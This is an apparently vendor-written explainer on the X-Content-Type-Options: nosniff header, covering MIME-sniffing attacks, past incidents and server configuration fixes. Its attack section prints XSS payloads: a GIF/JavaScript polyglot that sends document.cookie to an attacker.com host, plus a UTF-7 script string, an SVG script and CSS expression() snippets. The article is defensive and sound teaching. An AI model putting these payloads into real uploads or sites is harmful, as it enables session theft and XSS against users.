Nyambush

X-Content-Type-Options: Stopping MIME Confusion Attacks

What is it?

X-Content-Type-Options is an HTTP response header that prevents browsers from "sniffing" content types and executing files in ways that differ from the declared Content-Type. When set to nosniff (the only valid value), it instructs browsers to strictly follow the MIME type specified in the Content-Type header rather than attempting to guess the file type based on content inspection.

X-Content-Type-Options: nosniff

This seemingly simple header protects against a class of attacks where attackers exploit browser behavior to execute malicious code disguised as harmless file types. Without this header, browsers may interpret an image file as JavaScript or treat a text file as HTML, creating security vulnerabilities even when your application handles file uploads correctly.

Introduced by Microsoft for Internet Explorer 8 in 2008, X-Content-Type-Options has become a standard security header supported by all modern browsers including Chrome, Firefox, Safari, and Edge.

Why does it matter?

Browsers historically tried to be "helpful" by guessing content types when servers provided incorrect or missing Content-Type headers. This feature, called MIME sniffing or content sniffing, analyzes file contents to determine the actual type—for example, detecting HTML tags in a text file and rendering it as a web page.

While well-intentioned, MIME sniffing creates serious security vulnerabilities:

File Upload Exploitation

Consider a web application that allows users to upload profile pictures. The application correctly validates file extensions (.jpg, .png, .gif) and stores them with appropriate Content-Type headers. However, without X-Content-Type-Options, an attacker can:

  1. Create a file named malicious.jpg containing JavaScript code
  2. Add a valid JPEG header to bypass basic validation
  3. Upload the file to the server
  4. Convince victims to visit the file's direct URL

Without nosniff, older browsers might detect the JavaScript code within the file and execute it in the context of your domain, leading to Cross-Site Scripting (XSS) attacks.

Cross-Site Scripting via MIME Confusion

The most dangerous scenario occurs when user-uploaded content is served from the same origin as your application. An attacker uploads a malicious file that:

  • Appears to be a legitimate image or document
  • Contains hidden JavaScript or HTML code
  • Gets executed by browsers performing MIME sniffing

This bypasses traditional XSS defenses because the malicious content isn't injected into your application's code—it's delivered as a separate file that browsers incorrectly execute.

Legacy Internet Explorer Vulnerabilities

Internet Explorer was particularly aggressive with MIME sniffing. IE would:

  • Execute files as HTML if they contained <html> tags, regardless of Content-Type
  • Treat files as scripts if they resembled JavaScript, even when served as text/plain
  • Render files as images only after determining they truly were image formats

This created significant risks for applications hosting user-generated content, as attackers could craft polyglot files that appeared harmless but contained executable code detected by IE's sniffing algorithms.

How attacks work

MIME confusion attacks exploit the gap between a server's declared content type and what browsers believe the content actually is.

Basic MIME Sniffing Attack

  1. Attacker crafts a polyglot file: A file that appears valid as multiple file types.
GIF89a/*
<script>
    // Malicious JavaScript
    document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
*/

This file starts with GIF89a, the magic bytes of a GIF image, followed by JavaScript code. The /* */ comment syntax makes the GIF header appear as a comment to JavaScript parsers.

  1. File is uploaded: The attacker uploads this as profile-pic.gif to a vulnerable site that validates only file extensions.

  2. Server serves with correct Content-Type:

Content-Type: image/gif

  1. Browser sniffs content: Without X-Content-Type-Options, Internet Explorer detects the <script> tags and HTML structure, deciding the file is actually HTML/JavaScript.

  2. Code executes: The browser executes the JavaScript in the context of the vulnerable domain, stealing cookies, session tokens, or performing actions as the victim user.

UTF-7 XSS Attack

A historical attack against Internet Explorer exploited UTF-7 encoding:

+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-

This UTF-7 encoded string decodes to:

<script>alert('XSS')</script>

When served as text/plain without X-Content-Type-Options, IE would:

  1. Detect the UTF-7 encoding
  2. Decode the content
  3. Recognize the HTML tags
  4. Execute the JavaScript

Even though the server correctly labeled the file as plain text, IE's aggressive sniffing converted it to executable HTML.

SVG as HTML Attack

SVG (Scalable Vector Graphics) files are XML-based and can contain <script> tags:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">
        alert(document.domain);
    </script>
</svg>

If this is served with Content-Type: image/svg+xml and accessed directly, the script executes. While this is expected behavior for SVG, without proper isolation (separate CDN domain) and X-Content-Type-Options, it becomes a vector for XSS.

CSS JavaScript Execution

In some legacy browsers, CSS files could trigger JavaScript execution:

body {
    background: url('javascript:alert(document.cookie)');
}

Or through IE's proprietary expression() syntax:

div {
    width: expression(alert('XSS'));
}

If an attacker convinces a server to serve this as CSS (or if MIME sniffing interprets it as CSS), the JavaScript executes when the CSS is parsed.

Real-world incidents

Google Gmail Attachment Vulnerability (2011)

Researchers discovered that Gmail's attachment serving mechanism was vulnerable to MIME confusion attacks. While Gmail served attachments with appropriate Content-Type headers, the absence of X-Content-Type-Options in older browsers allowed attackers to:

  1. Send an email with a malicious HTML file disguised as a text document
  2. The file contained JavaScript wrapped in HTML
  3. When victims clicked to view the attachment, Internet Explorer sniffed the content
  4. Despite Gmail's Content-Type: text/plain header, IE executed the HTML/JavaScript
  5. The script ran in Gmail's domain context, accessing the victim's email

Google responded by:

  • Adding X-Content-Type-Options: nosniff to all attachment responses
  • Serving user content from a separate domain (googleusercontent.com)
  • Implementing Content-Security-Policy restrictions

Hotmail Image Upload XSS (2009)

Microsoft's Hotmail service allowed users to embed images in emails. Attackers exploited this by:

  1. Creating GIFAR files (GIF + JAR hybrid)—valid GIF images containing Java ARchive data
  2. Uploading these as email attachments or inline images
  3. Internet Explorer's MIME sniffing detected the JAR signature
  4. The browser attempted to execute the Java code within the image
  5. The malicious Java applet gained access to the victim's Hotmail account

This attack was particularly dangerous because:

  • The file passed image validation checks
  • It displayed correctly as an image in most contexts
  • Only when directly accessed did the attack trigger
  • No visible warning appeared to victims

Microsoft's fix included adding X-Content-Type-Options and enhancing file validation to detect polyglot files.

Internet Explorer CSS Script Execution (2010)

Security researchers demonstrated that IE could be tricked into executing JavaScript through CSS files using the expression() property. Vulnerable websites that:

  1. Allowed users to customize appearance with custom CSS
  2. Served user CSS without X-Content-Type-Options
  3. Hosted user content on the main domain

Were susceptible to attacks where malicious CSS files contained:

* {
    color: expression(alert(document.cookie));
}

When these CSS files were loaded, IE executed the JavaScript expressions, allowing XSS attacks through what should have been safe style sheets.

What Nyambush detects

Nyambush's security scanner checks your domain and all discovered subdomains for the presence and correct configuration of X-Content-Type-Options. Our detection system:

  1. Sends HTTP requests to your URLs, including:

    • Main pages (homepage, login, dashboard)
    • Static asset paths (CSS, JavaScript, images)
    • API endpoints
    • User-generated content paths (if detectable)

  2. Analyzes response headers for each content type:

    • HTML pages
    • JavaScript files
    • CSS stylesheets
    • Images (JPEG, PNG, GIF, SVG)
    • Documents (PDF, Office files)
    • JSON and XML responses

  3. Identifies vulnerabilities:

    • Missing header: No X-Content-Type-Options present
    • Incorrect value: Any value other than "nosniff"
    • Inconsistent protection: Some assets protected, others exposed
    • High-risk exposures: User-uploaded content without nosniff

  4. Risk assessment:

    • Critical: User-uploadable content without X-Content-Type-Options
    • High: JavaScript/CSS files without protection
    • Medium: HTML pages without protection
    • Low: Binary files (already difficult to exploit via sniffing)

Nyambush flags pages that serve dynamic content or allow file uploads as priority fixes, since these present the highest risk of MIME confusion exploitation.

How to fix it

Adding X-Content-Type-Options to your responses is straightforward across all platforms. Unlike some security headers with complex configuration options, this header has only one valid value: nosniff.

Apache (.htaccess or httpd.conf)

# Apply to all responses
Header always set X-Content-Type-Options "nosniff"

Place this in your .htaccess file or Apache configuration. The always directive ensures the header is sent even for error responses and redirects.

Nginx

server {
    listen 80;
    server_name example.com;

    # Add to all responses
    add_header X-Content-Type-Options "nosniff" always;

    location / {
        # Your location config
    }
}

The always parameter includes the header in all responses, including those with non-200 status codes.

Node.js / Express

const express = require('express');
const helmet = require('helmet');

const app = express();

// Using helmet (recommended)
app.use(helmet.noSniff());

// Or manually
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    next();
});

Next.js

// next.config.js
module.exports = {
    async headers() {
        return [
            {
                source: '/:path*',
                headers: [
                    {
                        key: 'X-Content-Type-Options',
                        value: 'nosniff',
                    },
                ],
            },
        ];
    },
};

PHP

<?php
// Add at the top of your entry file
header('X-Content-Type-Options: nosniff');
?>

Python / Django

# settings.py
SECURE_CONTENT_TYPE_NOSNIFF = True

Or using middleware:

# middleware.py
class SecurityHeadersMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        response['X-Content-Type-Options'] = 'nosniff'
        return response

Python / Flask

from flask import Flask

app = Flask(__name__)

@app.after_request
def set_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    return response

Ruby on Rails

# config/application.rb
config.action_dispatch.default_headers = {
    'X-Content-Type-Options' => 'nosniff'
}

ASP.NET

// In Global.asax.cs
protected void Application_BeginRequest()
{
    Response.Headers.Add("X-Content-Type-Options", "nosniff");
}

Or in Web.config:

<system.webServer>
    <httpProtocol>
        <customHeaders>
            <add name="X-Content-Type-Options" value="nosniff" />
        </customHeaders>
    </httpProtocol>
</system.webServer>

CDN Configuration

If you use a CDN like Cloudflare, CloudFront, or Fastly, configure headers there:

Cloudflare (Page Rules or Transform Rules):

X-Content-Type-Options: nosniff

CloudFront (Response Headers Policy):

{
    "Name": "X-Content-Type-Options",
    "Value": "nosniff"
}

Important: Ensure Correct Content-Type Headers

Adding X-Content-Type-Options: nosniff requires that your Content-Type headers are accurate. Browsers will strictly honor the declared MIME type, so:

  1. JavaScript files must be served as:

    Content-Type: application/javascript

    or

    Content-Type: text/javascript

  2. CSS files must be served as:

    Content-Type: text/css

  3. Images must use appropriate types:

    Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

  4. HTML files:

    Content-Type: text/html; charset=utf-8

Incorrect Content-Type headers combined with X-Content-Type-Options: nosniff will cause browsers to refuse to process files, breaking your site.

Testing Your Configuration

  1. Check headers with curl:
curl -I https://your-site.com | grep -i x-content-type

  1. Browser DevTools: Open DevTools (F12), navigate to Network tab, reload the page, and inspect response headers for various assets.

  2. Verify strict MIME handling: Try serving a JavaScript file with incorrect Content-Type:

Content-Type: text/plain
X-Content-Type-Options: nosniff

The browser console should show an error:

Refused to execute script from 'https://your-site.com/script.js'
because its MIME type ('text/plain') is not executable, and
strict MIME type checking is enabled.

This confirms the header is working correctly.

Summary

X-Content-Type-Options: nosniff is one of the simplest yet most effective security headers you can implement. By preventing browsers from MIME sniffing—guessing file types based on content analysis—you eliminate an entire class of attacks that exploit browser behavior to execute malicious code disguised as harmless files.

This protection is especially critical for applications that:

  • Allow user file uploads
  • Serve user-generated content
  • Handle untrusted data of any kind
  • Support legacy browsers

Implementation is trivial: add a single header with the value "nosniff" to all HTTP responses. Just ensure your Content-Type headers are accurate, as browsers will strictly enforce them once nosniff is enabled.

Nyambush automatically scans your domain and subdomains to detect missing or misconfigured X-Content-Type-Options headers, identifying areas where MIME confusion attacks could be exploited. With this header in place, you close a vulnerability that has been responsible for significant security breaches across major web platforms, all without requiring changes to your application code.

Share this article:Post on X

Is your domain secure?

Run a free scan with Nyambush to check your security risks right now.

← Back to articles